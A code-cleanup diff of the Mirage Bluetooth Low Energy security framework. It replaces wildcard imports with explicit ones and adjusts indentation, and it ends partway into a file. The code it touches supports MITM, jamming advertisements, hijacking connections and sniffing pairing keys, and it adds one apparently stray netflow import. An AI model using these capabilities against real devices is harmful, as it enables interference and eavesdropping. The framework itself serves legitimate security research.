diff --git a/mirage/core/app.py b/mirage/core/app.py index 4a867a5..888d03e 100644 --- a/mirage/core/app.py +++ b/mirage/core/app.py @@ -1,7 +1,9 @@ import os from string import Template -from mirage.core import interpreter,loader,taskManager,module,config,templates -from mirage.libs import io,utils + +from mirage.core import config, interpreter, loader, module, taskManager, templates +from mirage.libs import io, utils + class App(interpreter.Interpreter): ''' @@ -280,7 +282,7 @@ def set(self,name:"!method:_autocompleteParameters",value): if moduleName == module["name"] and ( module["module"].dynamicArgs or argName in module["module"].args - ): + ): module["module"].args[argName] = value else: io.warning("You must provide a module name !") diff --git a/mirage/core/argParser.py b/mirage/core/argParser.py index f71d181..0eb754e 100644 --- a/mirage/core/argParser.py +++ b/mirage/core/argParser.py @@ -1,6 +1,8 @@ -from mirage.libs import io import sys +from mirage.libs import io + + class ArgParser: ''' This class allows to easily parse parameters from command line. diff --git a/mirage/core/config.py b/mirage/core/config.py index 6f7bd42..be2f9b7 100644 --- a/mirage/core/config.py +++ b/mirage/core/config.py @@ -1,5 +1,8 @@ import configparser +from mirage.libs import io + + class Config: ''' This class is used to parse and generate a configuration file in ".cfg" format. diff --git a/mirage/core/interpreter.py b/mirage/core/interpreter.py index ff1e64d..16b595f 100644 --- a/mirage/core/interpreter.py +++ b/mirage/core/interpreter.py @@ -1,8 +1,16 @@ -from mirage.libs import io -import readline,shlex,re,inspect,glob,sys +import glob +import inspect import os +import re +import readline +import shlex +import sys + import keyboard +from mirage.libs import io + + class Interpreter: ''' If a class inherits of this class, it becomes a tiny command interpreter. @@ -229,8 +237,8 @@ def evaluateCommand(self,command): len(inspect.getfullargspec(getattr(self,opcode)).args)-1 == len(arguments) or ( inspect.getfullargspec(getattr(self,opcode)).defaults is not None and - len(inspect.getfullargspec(getattr(self,opcode)).args) - 1 - - len(inspect.getfullargspec(getattr(self,opcode)).defaults) <= len(arguments) and + len(inspect.getfullargspec(getattr(self,opcode)).args) - 1 + - len(inspect.getfullargspec(getattr(self,opcode)).defaults) <= len(arguments) and len(arguments) <= len(inspect.getfullargspec(getattr(self,opcode)).defaults) ) ) diff --git a/mirage/core/module.py b/mirage/core/module.py index fe9bcad..9d4e9c9 100644 --- a/mirage/core/module.py +++ b/mirage/core/module.py @@ -1,6 +1,8 @@ import keyboard + from mirage.core.scenario import scenarioSignal from mirage.libs import io + ''' This submodule defines two main classes of the framework : Module & WirelessModule. The modules defined in the framework inherits from these classes in order to @@ -70,12 +72,12 @@ def init(self): This method is an initialization method, called at the end of the constructor's execution. It must be overloaded in order to define the parameters of module, especially : - - type : it defines the type of the module (e.g. "sniffing", "mitm" ...) - - technology : it defines the type of technology used by the module (e.g. "ble", "wifi", ...) - - description : a short string indicating the role of the module - - args : a dictionary of string describing the input parameters and their potential default values - - dependencies : an array of string indicating the dependencies of the module - - dynamicArgs : a boolean indicating if the user can provide input parameters not defined in the args dictionary + - type : it defines the type of the module (e.g. "sniffing", "mitm" ...) + - technology : it defines the type of technology used by the module (e.g. "ble", "wifi", ...) + - description : a short string indicating the role of the module + - args : a dictionary of string describing the input parameters and their potential default values + - dependencies : an array of string indicating the dependencies of the module + - dynamicArgs : a boolean indicating if the user can provide input parameters not defined in the args dictionary ''' pass diff --git a/mirage/core/scenario.py b/mirage/core/scenario.py index b198cb5..681690b 100644 --- a/mirage/core/scenario.py +++ b/mirage/core/scenario.py @@ -1,7 +1,9 @@ import traceback -from mirage.core import module,app + +from mirage.core import app from mirage.libs import io + class Scenario: ''' This class defines a scenario. A Scenario is a Mirage entity allowing to customize the behaviour of a module without @@ -41,7 +43,7 @@ def receiveSignal(self,signal,*args, **kwargs): else: io.fail("An error occured in scenario "+self.name+" !") if app.App.Instance.debugMode: - traceback.print_exception(type(e), e, e.__traceback__) + traceback.print_exception(type(e), e, e.__traceback__) else: return True diff --git a/mirage/core/task.py b/mirage/core/task.py index 60293ce..1ca4f5c 100644 --- a/mirage/core/task.py +++ b/mirage/core/task.py @@ -1,7 +1,11 @@ -from mirage.libs import utils -import multiprocessing,os,sys +import multiprocessing +import os +import sys from ctypes import c_char_p +from mirage.libs import utils + + class Task(multiprocessing.Process): ''' This class defines a background Task, it inherits from ``multiprocessing.Process``. diff --git a/mirage/core/taskManager.py b/mirage/core/taskManager.py index 8d31a30..0e6b9f7 100644 --- a/mirage/core/taskManager.py +++ b/mirage/core/taskManager.py @@ -1,7 +1,10 @@ -from .task import Task from copy import copy + import psutil +from .task import Task + + class TaskManager: ''' This class is a manager allowing to easily manipulate background tasks (using multiprocessing). diff --git a/mirage/libs/ble.py b/mirage/libs/ble.py index b159b87..7d13d03 100644 --- a/mirage/libs/ble.py +++ b/mirage/libs/ble.py @@ -1,24 +1,168 @@ -from scapy.all import * +from scapy.compat import raw +from scapy.layers.bluetooth import ATT_Error_Response, \ + ATT_Exchange_MTU_Request, \ + ATT_Exchange_MTU_Response, \ + ATT_Find_By_Type_Value_Request, \ + ATT_Find_By_Type_Value_Response, \ + ATT_Find_Information_Request, \ + ATT_Find_Information_Response, \ + ATT_Hdr, \ + ATT_Read_By_Group_Type_Request, \ + ATT_Read_By_Group_Type_Response, \ + ATT_Read_By_Type_Request, \ + ATT_Read_By_Type_Response, \ + ATT_Read_Request, \ + ATT_Read_Response, \ + ATT_Write_Command, \ + ATT_Write_Request, \ + ATT_Write_Response, \ + EIR_Hdr, \ + HCI_ACL_Hdr, \ + HCI_Cmd_Connect_Accept_Timeout, \ + HCI_Cmd_Disconnect, \ + HCI_Cmd_LE_Connection_Update, \ + HCI_Cmd_LE_Create_Connection, \ + HCI_Cmd_LE_Create_Connection_Cancel, \ + HCI_Cmd_LE_Host_Supported, \ + HCI_Cmd_LE_Long_Term_Key_Request_Negative_Reply, \ + HCI_Cmd_LE_Long_Term_Key_Request_Reply, \ + HCI_Cmd_LE_Set_Advertise_Enable, \ + HCI_Cmd_LE_Set_Advertising_Parameters, \ + HCI_Cmd_LE_Set_Random_Address, \ + HCI_Cmd_LE_Set_Scan_Enable, \ + HCI_Cmd_LE_Set_Scan_Parameters, \ + HCI_Cmd_LE_Start_Encryption_Request, \ + HCI_Cmd_Reset, \ + HCI_Cmd_Set_Event_Filter, \ + HCI_Cmd_Set_Event_Mask, \ + HCI_Command_Hdr, \ + HCI_Event_Encryption_Change, \ + HCI_Hdr, \ + HCI_LE_Meta_Advertising_Report, \ + HCI_LE_Meta_Connection_Complete, \ + HCI_LE_Meta_Long_Term_Key_Request, \ + L2CAP_CmdHdr, \ + L2CAP_Connection_Parameter_Update_Request, \ + L2CAP_Connection_Parameter_Update_Response, \ + L2CAP_Hdr, \ + SM_Confirm, \ + SM_Encryption_Information, \ + SM_Failed, \ + SM_Hdr, \ + SM_Identity_Address_Information, \ + SM_Identity_Information, \ + SM_Master_Identification, \ + SM_Pairing_Request, \ + SM_Pairing_Response, \ + SM_Random, \ + SM_Signing_Information +from scapy.layers.bluetooth4LE import BTLE, \ + BTLE_ADV, \ + BTLE_ADV_DIRECT_IND, \ + BTLE_ADV_IND, \ + BTLE_ADV_NONCONN_IND, \ + BTLE_ADV_SCAN_IND, \ + BTLE_CONNECT_REQ, \ + BTLE_DATA, \ + BTLE_PPI, \ + BTLE_SCAN_REQ, \ + BTLE_SCAN_RSP + from mirage.core.module import WirelessModule -from mirage.libs.ble_utils.scapy_hci_layers import * -from mirage.libs.ble_utils.packets import * -from mirage.libs.ble_utils.constants import * -from mirage.libs.bt_utils.assigned_numbers import AssignedNumbers -from mirage.libs.ble_utils.ubertooth import * -from mirage.libs.ble_utils.btlejack import * -from mirage.libs.ble_utils.nrfsniffer import * -from mirage.libs.ble_utils.adb import * -from mirage.libs.ble_utils.hcidump import * -from mirage.libs.ble_utils.pcap import * -from mirage.libs.ble_utils.helpers import * -from mirage.libs.ble_utils.crypto import * -from mirage.libs.ble_utils.scapy_link_layers import * -from mirage.libs.ble_utils.dissectors import * -from mirage.libs.ble_utils.att_server import * -from mirage.libs import wireless,bt,io - - -class BLEHCIDevice(bt.BtHCIDevice): +from mirage.libs import io +from mirage.libs.ble_utils.adb import ADBDevice +from mirage.libs.ble_utils.btlejack import BTLEJackDevice +from mirage.libs.ble_utils.constants import ADV_DIRECT_IND, \ + ADV_DIRECT_IND_LOW, \ + ADV_IND, \ + ADV_NONCONN_IND, \ + ADV_SCAN_IND, \ + ADV_TYPES, \ + BLEOperationMode, \ + CONTROL_TYPES, \ + HCI_ADVERTISING_REPORT, \ + HCI_CONNECTION_COMPLETE, \ + HCI_DISCONNECTION_COMPLETE, \ + HCI_ENHANCED_CONNECTION_COMPLETE, \ + HCI_LE_META, \ + HCI_LONG_TERM_KEY_REQUEST, \ + SCAN_RSP, \ + TYPE_ACL_DATA, \ + TYPE_HCI_COMMAND, \ + TYPE_HCI_EVENT +from mirage.libs.ble_utils.crypto import BLELinkLayerCrypto +from mirage.libs.ble_utils.hcidump import BLEHcidumpDevice +from mirage.libs.ble_utils.nrfsniffer import NRFSnifferDevice +from mirage.libs.ble_utils.packets import BLEAdvDirectInd, \ + BLEAdvInd, \ + BLEAdvNonConnInd, \ + BLEAdvScanInd, \ + BLEAdvertisement, \ + BLEConnect, \ + BLEConnectRequest, \ + BLEConnectResponse, \ + BLEConnectionCancel, \ + BLEConnectionParameterUpdateRequest, \ + BLEConnectionParameterUpdateResponse, \ + BLEControlPDU, \ + BLEDisconnect, \ + BLEEmptyPDU, \ + BLEEncryptedPacket, \ + BLEEncryptionInformation, \ + BLEErrorResponse, \ + BLEExchangeMTURequest, \ + BLEExchangeMTUResponse, \ + BLEFindByTypeValueRequest, \ + BLEFindByTypeValueResponse, \ + BLEFindInformationRequest, \ + BLEFindInformationResponse, \ + BLEHandleValueConfirmation, \ + BLEHandleValueIndication, \ + BLEHandleValueNotification, \ + BLEIdentityAddressInformation, \ + BLEIdentityInformation, \ + BLELongTermKeyRequest, \ + BLELongTermKeyRequestReply, \ + BLEMasterIdentification, \ + BLEPacket, \ + BLEPairingConfirm, \ + BLEPairingFailed, \ + BLEPairingRandom, \ + BLEPairingRequest, \ + BLEPairingResponse, \ + BLEReadBlobRequest, \ + BLEReadBlobResponse, \ + BLEReadByGroupTypeRequest, \ + BLEReadByGroupTypeResponse, \ + BLEReadByTypeRequest, \ + BLEReadByTypeResponse, \ + BLEReadRequest, \ + BLEReadResponse, \ + BLEScanRequest, \ + BLEScanResponse, \ + BLESecurityRequest, \ + BLESigningInformation, \ + BLESniffingParameters, \ + BLEWriteCommand, \ + BLEWriteRequest, \ + BLEWriteResponse +from mirage.libs.ble_utils.pcap import BLEPCAPDevice +from mirage.libs.ble_utils.scapy_hci_layers import HCI_LE_Meta_Enhanced_Connection_Complete, \ + New_ATT_Handle_Value_Confirmation, \ + New_ATT_Handle_Value_Indication, \ + New_ATT_Handle_Value_Notification, \ + New_ATT_Read_Blob_Request, \ + New_ATT_Read_Blob_Response, \ + New_HCI_Cmd_LE_Set_Advertising_Data, \ + New_HCI_Cmd_LE_Set_Scan_Response_Data, \ + SM_Security_Request +from mirage.libs.ble_utils.scapy_link_layers import ControlPDU +from mirage.libs.ble_utils.ubertooth import BLEUbertoothDevice +from mirage.libs.bt import BtHCIDevice +from mirage.libs.wireless import Emitter, Receiver + + +class BLEHCIDevice(BtHCIDevice): ''' This device allows to communicate with an HCI Device in order to use Bluetooth Low Energy protocol. The corresponding interfaces are : ``hciX`` (e.g. "hciX") @@ -26,7 +170,7 @@ class BLEHCIDevice(bt.BtHCIDevice): The following capabilities are actually supported : +-----------------------------------+----------------+ - | Capability | Available ? | + | Capability | Available ? | +===================================+================+ | SCANNING | yes | +-----------------------------------+----------------+ @@ -219,7 +363,7 @@ def setScan(self,enable=True, passive=False): :Example: >>> device.setScan(enable=True, passive=True) # scanning mode enabled in passive mode - >>> device.setScan(enable=False) # scanning mode disabled + >>> device.setScan(enable=False) # scanning mode disabled .. note:: @@ -437,8 +581,8 @@ def encryptLink(self,rand=b"\x00\x00\x00\x00\x00\x00\x00\x00", ediv=0, ltk = b"\ It is possible to encrypt the link using directly the encryption-related packets, such as : - * ``mirage.libs.ble_utils.packets.BLELongTermKeyRequest`` - * ``mirage.libs.ble_utils.packets.BLELongTermKeyRequestReply`` + * ``mirage.libs.ble_utils.packets.BLELongTermKeyRequest`` + * ``mirage.libs.ble_utils.packets.BLELongTermKeyRequestReply`` .. note:: @@ -461,18 +605,18 @@ def encryptLink(self,rand=b"\x00\x00\x00\x00\x00\x00\x00\x00", ediv=0, ltk = b"\ self._exitCommandMode() return encryptionChange.enabled -class BLEEmitter(wireless.Emitter): +class BLEEmitter(Emitter): ''' This class is an Emitter for the Bluetooth Low Energy protocol ("ble"). It can instantiates the following devices : - * HCI Device (``mirage.libs.ble.BLEHCIDevice``) **[ interface "hciX" (e.g. "hci0") ]** - * Ubertooth Device (``mirage.libs.ble_utils.ubertooth.BLEUbertoothDevice``) **[ interface "ubertoothX" (e.g. "ubertooth0") ]** - * BTLEJack Device (``mirage.libs.ble_utils.btlejack.BTLEJackDevice``) **[ interface "microbitX" (e.g. "microbit0") ]** - * ADB Device (``mirage.libs.ble_utils.adb.ADBDevice``) **[ interface "adbX" (e.g. "adb0") ]** - * HCIDump Device (``mirage.libs.ble_utils.hcidump.BLEHcidumpDevice``) **[ interface "hcidumpX" (e.g. "hcidump0") ]** - * PCAP Device (``mirage.libs.ble_utils.pcap.BLEPCAPDevice``) **[ interface ".pcap" (e.g. "pairing.pcap") ]** + * HCI Device (``mirage.libs.ble.BLEHCIDevice``) **[ interface "hciX" (e.g. "hci0") ]** + * Ubertooth Device (``mirage.libs.ble_utils.ubertooth.BLEUbertoothDevice``) **[ interface "ubertoothX" (e.g. "ubertooth0") ]** + * BTLEJack Device (``mirage.libs.ble_utils.btlejack.BTLEJackDevice``) **[ interface "microbitX" (e.g. "microbit0") ]** + * ADB Device (``mirage.libs.ble_utils.adb.ADBDevice``) **[ interface "adbX" (e.g. "adb0") ]** + * HCIDump Device (``mirage.libs.ble_utils.hcidump.BLEHcidumpDevice``) **[ interface "hcidumpX" (e.g. "hcidump0") ]** + * PCAP Device (``mirage.libs.ble_utils.pcap.BLEPCAPDevice``) **[ interface ".pcap" (e.g. "pairing.pcap") ]** ''' def __init__(self, interface="hci0"): @@ -621,8 +765,8 @@ def convert(self,packet): if ( isinstance(packet,BLEConnectionParameterUpdateRequest) or - isinstance(packet,BLEConnectionParameterUpdateResponse) - ): + isinstance(packet,BLEConnectionParameterUpdateResponse) + ): packet.packet /= L2CAP_Hdr()/L2CAP_CmdHdr(id=packet.l2capCmdId) elif ( isinstance(packet,BLESecurityRequest) or @@ -785,18 +929,18 @@ def convert(self,packet): return packet.packet -class BLEReceiver(wireless.Receiver): +class BLEReceiver(Receiver): ''' This class is a Receiver for the Bluetooth Low Energy protocol ("ble"). It can instantiates the following devices : - * HCI Device (``mirage.libs.ble.BLEHCIDevice``) **[ interface "hciX" (e.g. "hci0") ]** - * Ubertooth Device (``mirage.libs.ble_utils.ubertooth.BLEUbertoothDevice``) **[ interface "ubertoothX" (e.g. "ubertooth0") ]** - * BTLEJack Device (``mirage.libs.ble_utils.btlejack.BTLEJackDevice``) **[ interface "microbitX" (e.g. "microbit0") ]** - * ADB Device (``mirage.libs.ble_utils.adb.ADBDevice``) **[ interface "adbX" (e.g. "adb0") ]** - * HCIDump Device (``mirage.libs.ble_utils.hcidump.BLEHcidumpDevice``) **[ interface "hcidumpX" (e.g. "hcidump0") ]** - * PCAP Device (``mirage.libs.ble_utils.pcap.BLEPCAPDevice``) **[ interface ".pcap" (e.g. "pairing.pcap") ]** + * HCI Device (``mirage.libs.ble.BLEHCIDevice``) **[ interface "hciX" (e.g. "hci0") ]** + * Ubertooth Device (``mirage.libs.ble_utils.ubertooth.BLEUbertoothDevice``) **[ interface "ubertoothX" (e.g. "ubertooth0") ]** + * BTLEJack Device (``mirage.libs.ble_utils.btlejack.BTLEJackDevice``) **[ interface "microbitX" (e.g. "microbit0") ]** + * ADB Device (``mirage.libs.ble_utils.adb.ADBDevice``) **[ interface "adbX" (e.g. "adb0") ]** + * HCIDump Device (``mirage.libs.ble_utils.hcidump.BLEHcidumpDevice``) **[ interface "hcidumpX" (e.g. "hcidump0") ]** + * PCAP Device (``mirage.libs.ble_utils.pcap.BLEPCAPDevice``) **[ interface ".pcap" (e.g. "pairing.pcap") ]** ''' def __init__(self,interface="hci0"): diff --git a/mirage/libs/ble_utils/adb.py b/mirage/libs/ble_utils/adb.py index 7023d59..345fd00 100644 --- a/mirage/libs/ble_utils/adb.py +++ b/mirage/libs/ble_utils/adb.py @@ -1,8 +1,14 @@ -from scapy.all import * -import subprocess,struct -from mirage.libs import io,utils,wireless +import socket +import struct +import subprocess -class ADBDevice(wireless.Device): +from scapy.layers.bluetooth import HCI_Hdr + +from mirage.libs import io +from mirage.libs.wireless_utils.device import Device + + +class ADBDevice(Device): ''' This device allows to communicate with an Android Device using **adb** in order to monitor Bluetooth Low Energy HCI packets. diff --git a/mirage/libs/ble_utils/att_server.py b/mirage/libs/ble_utils/att_server.py index c9a46c7..1159bde 100644 --- a/mirage/libs/ble_utils/att_server.py +++ b/mirage/libs/ble_utils/att_server.py @@ -1,16 +1,19 @@ -from mirage.libs.ble_utils.dissectors import * -from mirage.libs.ble_utils.constants import * -from mirage.libs import utils,io +import struct + +from mirage.libs import io, utils +from mirage.libs.ble_utils.constants import ATT_ERR_ATTR_NOT_FOUND, ATT_ERR_READ_NOT_PERMITTED, ATT_ERR_WRITE_NOT_PERMITTED +from mirage.libs.ble_utils.dissectors import CharacteristicDeclaration, CharacteristicDescriptor, PermissionsFlag, Service, UUID + class ATT_Attribute: ''' This class describes an ATT attribute. An ATT attribute is composed of four main fields : - * **handle** : ATT handle (it can be described as the index of an attribute of an ATT Database) - * **value** : binary value linked to this attribute - * **type** : UUID (12 bits or 128 bits) indicating the type of attribute, such as a Device Name or a Characteristic Declaration. - * **permissions** : flag indicating the access permissions attached to this attribute, such as readable or writeable. + * **handle** : ATT handle (it can be described as the index of an attribute of an ATT Database) + * **value** : binary value linked to this attribute + * **type** : UUID (12 bits or 128 bits) indicating the type of attribute, such as a Device Name or a Characteristic Declaration. + * **permissions** : flag indicating the access permissions attached to this attribute, such as readable or writeable. It overloads the method `__str__` in order to provide a pretty representation. @@ -40,7 +43,7 @@ def __init__(self,handle=None,value=None,type=None, permissions=None): def __str__(self): return ("handle = " + hex(self.handle) + " / value = "+self.value.hex() + - " / type = "+self.type.UUID128.hex()+" / permissions = "+str(self.permissions.permissions)) + " / type = "+self.type.UUID128.hex()+" / permissions = "+str(self.permissions.permissions)) class ATT_Database: @@ -83,8 +86,8 @@ def show(self): attributeHandle = "0x{:04x}".format(att.handle) formattedAttributes.append([attributeHandle, attributeType,attributeValue]) io.chart(["Attribute Handle", "Attribute Type", "Attribute Value"], - formattedAttributes, - io.colorize("Attributes","yellow") + formattedAttributes, + io.colorize("Attributes","yellow") ) def showGATT(self): @@ -114,8 +117,8 @@ def showServices(self): formattedServices[-1][1] = "0x{:04x}".format(att.handle - 1) formattedServices.append([startHandle,"0x{:04x}".format(0xFFFF),serviceUUID16, serviceUUID128,serviceName]) io.chart(["Start Handle","End Handle", "UUID16", "UUID128", "Name"], - formattedServices, - io.colorize("Services", "yellow") + formattedServices, + io.colorize("Services", "yellow") ) return formattedServices @@ -127,7 +130,7 @@ def showCharacteristics(self,startHandle,endHandle,title="Characteristics"): :type startHandle: int :param endHandle: last ATT handle :type endHandle: int - :param title: Title of the chart + :param title: Title of the chart :type title: str ''' formattedCharacteristics = [] @@ -140,7 +143,7 @@ def showCharacteristics(self,startHandle,endHandle,title="Characteristics"): uuid16 = ("0x{:04x}".format(characteristic.UUID.UUID16) if characteristic.UUID.UUID16 is not None else "" - ) + ) uuid128 = (characteristic.UUID.UUID128.hex() if characteristic.UUID.UUID128 is not None else "" @@ -160,7 +163,7 @@ def showCharacteristics(self,startHandle,endHandle,title="Characteristics"): descriptors = "" while (startDescriptor < len(self.attributes) and self.attributes[startDescriptor] is not None and - (self.attributes[startDescriptor].type != UUID(name="Characteristic Declaration") and + (self.attributes[startDescriptor].type != UUID(name="Characteristic Declaration") and self.attributes[startDescriptor].type != UUID(name="Primary Service") and self.attributes[startDescriptor].type != UUID(name="Secondary Service"))): descriptor = self.attributes[startDescriptor] @@ -502,8 +505,8 @@ def read(self,handle): .. note:: The returned tuple is composed of two main fields : - * *success* : this field is a boolean indicating if the request was successful or not - * *body* : this field is the response's body (array of bytes) if the request was successful or the error code (integer) if the request was not successful + * *success* : this field is a boolean indicating if the request was successful or not + * *body* : this field is the response's body (array of bytes) if the request was successful or the error code (integer) if the request was not successful ''' (exist,authorized,value) = self.database.read(handle) @@ -526,8 +529,8 @@ def readBlob(self,handle,offset): .. note:: The returned tuple is composed of two main fields : - * *success* : this field is a boolean indicating if the request was successful or not - * *body* : this field is the response's body (array of bytes) if the request was successful or the error code (integer) if the request was not successful + * *success* : this field is a boolean indicating if the request was successful or not + * *body* : this field is the response's body (array of bytes) if the request was successful or the error code (integer) if the request was not successful ''' (exist,authorized,value) = self.database.read(handle) @@ -551,8 +554,8 @@ def writeCommand(self,handle,value): .. note:: The returned tuple is composed of two main fields : - * *success* : this field is a boolean indicating if the request was successful or not - * *body* : this field is the response's body (None) + * *success* : this field is a boolean indicating if the request was successful or not + * *body* : this field is the response's body (None) ''' self.database.write(handle,value) @@ -573,8 +576,8 @@ def writeRequest(self,handle,value): .. note:: The returned tuple is composed of two main fields : - * *success* : this field is a boolean indicating if the request was successful or not - * *body* : this field is the error code (int) if the request was not successful + * *success* : this field is a boolean indicating if the request was successful or not + * *body* : this field is the error code (int) if the request was not successful ''' (exist,authorized) = self.database.write(handle,value) @@ -598,8 +601,8 @@ def readByType(self,start,end,type): .. note:: The returned tuple is composed of two main fields : - * *success* : this field is a boolean indicating if the request was successful or not - * *body* : this field is the response's body (list of dict - see output of ``ATT_Database.readByType``) if the request was successful or an error code (int) if the request was not successful + * *success* : this field is a boolean indicating if the request was successful or not + * *body* : this field is the response's body (list of dict - see output of ``ATT_Database.readByType``) if the request was successful or an error code (int) if the request was not successful ''' response = self.database.readByType(start,end,type) @@ -616,7 +619,7 @@ def readByType(self,start,end,type): size_handle = 2 size_value = len(elmt["value"]) if ((last_size_value is None or last_size_value == size_value) and - total_size + size_handle + size_value < self.mtu - 1): + total_size + size_handle + size_value < self.mtu - 1): body.append(elmt) total_size += size_handle + size_value last_size_value = size_value @@ -641,8 +644,8 @@ def readByGroupType(self,start,end,type): .. note:: The returned tuple is composed of two main fields : - * *success* : this field is a boolean indicating if the request was successful or not - * *body* : this field is the response's body (list of dict - see output of ``ATT_Database.readByGroupType``) if the request was successful or an error code (int) if the request was not successful + * *success* : this field is a boolean indicating if the request was successful or not + * *body* : this field is the response's body (list of dict - see output of ``ATT_Database.readByGroupType``) if the request was successful or an error code (int) if the request was not successful ''' reponse = self.database.readByGroupType(start,end,type) @@ -659,7 +662,7 @@ def readByGroupType(self,start,end,type): size_handle = 4 size_value = len(elmt["value"]) if ((last_size_value is None or last_size_value == size_value) and - total_size + size_handle + size_value < self.mtu - 1): + total_size + size_handle + size_value < self.mtu - 1): body.append(elmt) total_size += size_handle + size_value last_size_value = size_value @@ -682,8 +685,8 @@ def findInformation(self,start,end): .. note:: The returned tuple is composed of two main fields : - * *success* : this field is a boolean indicating if the request was successful or not - * *body* : this field is the response's body (list of dict - see output of ``ATT_Database.findInformation``) if the request was successful or an error code (int) if the request was not successful + * *success* : this field is a boolean indicating if the request was successful or not + * *body* : this field is the response's body (list of dict - see output of ``ATT_Database.findInformation``) if the request was successful or an error code (int) if the request was not successful ''' response = self.database.findInformation(start,end) @@ -700,7 +703,7 @@ def findInformation(self,start,end): size_handle = 2 size_type = len(elmt["type"]) if ((last_size_type is None or last_size_type == size_type) and - total_size + size_handle + size_type < self.mtu - 1): + total_size + size_handle + size_type < self.mtu - 1): body.append(elmt) size_type += size_handle + size_type last_size_type = size_type diff --git a/mirage/libs/ble_utils/btlejack.py b/mirage/libs/ble_utils/btlejack.py index c531745..352f49c 100644 --- a/mirage/libs/ble_utils/btlejack.py +++ b/mirage/libs/ble_utils/btlejack.py @@ -1,13 +1,52 @@ -from threading import Lock -from queue import Queue +import struct import time +from queue import Queue +from threading import Lock + +from scapy.compat import raw +from scapy.layers.bluetooth4LE import BTLE, BTLE_ADV, BTLE_DATA, BTLE_PPI, CtrlPDU +from scapy.layers.netflow import port +from serial import Serial, SerialException from serial.tools.list_ports import comports -from serial import Serial,SerialException -from mirage.libs.ble_utils.constants import * -from mirage.libs.ble_utils.scapy_btlejack_layers import * -from mirage.libs import io,utils,wireless -class BTLEJackDevice(wireless.Device): +from mirage.libs import io, utils +from mirage.libs.ble_utils.constants import BLESniffingMode +from mirage.libs.ble_utils.scapy_btlejack_layers import BTLEJack_Access_Address_Notification, \ + BTLEJack_Advertisement_Packet_Notification, \ + BTLEJack_Advertisements_Add_Rule_Command, \ + BTLEJack_Advertisements_Command, \ + BTLEJack_Advertisements_Disable_Jamming_Command, \ + BTLEJack_Advertisements_Disable_Sniff_Command, \ + BTLEJack_Advertisements_Enable_Jamming_Command, \ + BTLEJack_Advertisements_Enable_Sniff_Command, \ + BTLEJack_Advertisements_Reset_Policy_Command, \ + BTLEJack_CRCInit_Notification, \ + BTLEJack_Channel_Map_Notification, \ + BTLEJack_Connection_Lost_Notification, \ + BTLEJack_Connection_Request_Notification, \ + BTLEJack_Enable_Hijacking_Command, \ + BTLEJack_Enable_Jamming_Command, \ + BTLEJack_Filtering_Rule, \ + BTLEJack_Hdr, \ + BTLEJack_Hijack_Status_Notification, \ + BTLEJack_Hop_Increment_Notification, \ + BTLEJack_Hop_Interval_Notification, \ + BTLEJack_Nordic_Tap_Packet_Notification, \ + BTLEJack_Recover_Channel_Map_Command, \ + BTLEJack_Recover_Command, \ + BTLEJack_Recover_Connection_AA_Command, \ + BTLEJack_Recover_Hopping_Parameters_Command, \ + BTLEJack_Reset_Command, \ + BTLEJack_Scan_Connections_Command, \ + BTLEJack_Send_Packet_Command, \ + BTLEJack_Sniff_Connection_Request_Command, \ + BTLEJack_Verbose_Response, \ + BTLEJack_Version_Command +from mirage.libs.wireless_utils.device import Device +from mirage.libs.wireless_utils.packetQueue import StoppableThread + + +class BTLEJackDevice(Device): ''' This device allows to communicate with a BTLEJack Device in order to sniff Bluetooth Low Energy protocol. The corresponding interfaces are : ``microbitX`` (e.g. "microbit0") @@ -15,7 +54,7 @@ class BTLEJackDevice(wireless.Device): The following capabilities are actually supported : +-----------------------------------+----------------+ - | Capability | Available ? | + | Capability | Available ? | +===================================+================+ | SCANNING | yes | +-----------------------------------+----------------+ @@ -477,8 +516,7 @@ def _sniffConnectionRequests(self,address='FF:FF:FF:FF:FF:FF',channel=None): if channel is not None and not self.sweepingMode: self.setChannel(channel) - self._internalCommand(BTLEJack_Sniff_Connection_Request_Command(address=address,channel=self.getChannel() if - channel is None else channel)) + self._internalCommand(BTLEJack_Sniff_Connection_Request_Command(address=address,channel=self.getChannel() if channel is None else channel)) # Existing Connection Sniffing methods def sniffExistingConnections(self,accessAddress=None,crcInit=None,channelMap=None): @@ -615,10 +653,9 @@ def jamAdvertisements(self,pattern=b"",offset=0,channel=37): if channel is not None: self.setChannel(channel) self._internalCommand(BTLEJack_Advertisements_Command()/BTLEJack_Advertisements_Enable_Jamming_Command( - offset=offset, - pattern=pattern, - channel=self.getChannel() if - channel is None else channel)) + offset=offset, + pattern=pattern, + channel=self.getChannel() if channel is None else channel)) else: io.fail("Jamming advertisements is not supported by BTLEJack firmware," " a Custom Mirage Firmware is available.") @@ -1063,7 +1100,7 @@ def setScan(self,enable=True): :Example: >>> device.setScan(enable=True) # scanning mode enabled - >>> device.setScan(enable=False) # scanning mode disabled + >>> device.setScan(enable=False) # scanning mode disabled .. note:: @@ -1075,7 +1112,7 @@ def setScan(self,enable=True): self.sniffAdvertisements() if self.scanThreadInstance is None: - self.scanThreadInstance = wireless.StoppableThread(target=self._scanThread) + self.scanThreadInstance = StoppableThread(target=self._scanThread) self.scanThreadInstance.start() else: self.scanThreadInstance.stop() @@ -1094,7 +1131,7 @@ def _sweepingThread(self): def _startSweepingThread(self): self._stopSweepingThread() - self.sweepingThreadInstance = wireless.StoppableThread(target=self._sweepingThread) + self.sweepingThreadInstance = StoppableThread(target=self._sweepingThread) self.sweepingThreadInstance.start() def _stopSweepingThread(self): @@ -1157,7 +1194,7 @@ def init(self): try: (major,minor) = self._getFirmwareVersion() io.success("BTLEJack device "+("#"+str(self.index) if isinstance(self.index,int) else str(self.index))+ - " successfully instantiated (firmware version : "+str(major)+"."+str(minor)+")") + " successfully instantiated (firmware version : "+str(major)+"."+str(minor)+")") if major == 3 and minor == 14: io.info("Custom Mirage Firmware used ! Advertisements sniffing and jamming will be supported.") self.capabilities += ["SNIFFING_ADVERTISEMENTS","SCANNING","JAMMING_ADVERTISEMENTS"] @@ -1167,4 +1204,3 @@ def init(self): except: self.microbit = None self.ready = False - diff --git a/mirage/libs/ble_utils/crypto.py b/mirage/libs/ble_utils/crypto.py index 9587747..df705dd 100644 --- a/mirage/libs/ble_utils/crypto.py +++ b/mirage/libs/ble_utils/crypto.py @@ -1,9 +1,13 @@ -from Cryptodome.Cipher import AES +import struct +import time +from multiprocessing import Manager, Process, cpu_count from os import urandom -from multiprocessing import Process, Manager,cpu_count -import time,struct + +from Cryptodome.Cipher import AES + from mirage.libs import io + class BLECrypto: ''' This class provides some cryptographic functions used by the Security Manager. diff --git a/mirage/libs/ble_utils/dissectors.py b/mirage/libs/ble_utils/dissectors.py index 4852f64..2ab4e9b 100644 --- a/mirage/libs/ble_utils/dissectors.py +++ 